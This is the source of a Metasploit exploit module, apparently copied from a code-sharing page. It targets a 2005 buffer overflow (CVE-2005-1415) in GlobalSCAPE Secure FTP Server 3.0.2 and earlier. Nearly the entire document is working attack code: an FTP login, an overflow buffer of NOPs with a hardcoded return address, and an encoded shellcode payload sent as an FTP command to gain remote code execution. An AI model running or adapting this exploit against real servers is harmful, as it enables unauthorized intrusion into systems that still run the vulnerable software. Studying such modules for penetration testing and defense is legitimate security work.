Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::Ftp
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'GlobalSCAPE Secure FTP Server Input Overflow',
14
      'Description'    => %q{
15
          This module exploits a buffer overflow in the GlobalSCAPE Secure FTP Server.
16
        All versions prior to 3.0.3 are affected by this flaw. A valid user account (
17
        or anonymous access) is required for this exploit to work.
18
      },
19
      'Author'         => [ 'Fairuzan Roslan <riaf[at]mysec.org>', 'Mati Aharoni <mati[at]see-security.com>' ],
20
      'License'        => BSD_LICENSE,
21
      'References'     =>
22
        [
23
          [ 'CVE', '2005-1415'],
24
          [ 'OSVDB', '16049'],
25
          [ 'BID', '13454'],
26
          [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2005-04/0674.html'],
27
        ],
28
      'Privileged'     => false,
29
      'Payload'        =>
30
        {
31
          'Space'    => 1000,
32
          'BadChars' => "\x00\x20" + (0x61..0x7a).to_a.pack('C*'),
33
          'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
34
        },
35
      'Platform'       => [ 'win' ],
36
      'Targets'        =>
37
        [
38
          [
39
            'GlobalSCAPE Secure FTP Server <= 3.0.2 Universal',
40
            {
41
              'Ret'      => 0x1002f01f,
42
            },
43
          ],
44
        ],
45
      'DisclosureDate' => '2005-05-01',
46
      'DefaultTarget' => 0))
47
  end
48

49
  def exploit
50
    c = connect_login
51
    return if not c
52

53
    buf           = make_nops(3047)
54
    buf[2043, 4]  = [ target.ret ].pack('V')
55
    buf[2047, payload.encoded.length] = payload.encoded
56

57
    send_cmd( [buf] )
58

59
    handler
60
    disconnect
61
  end
62
end
63

64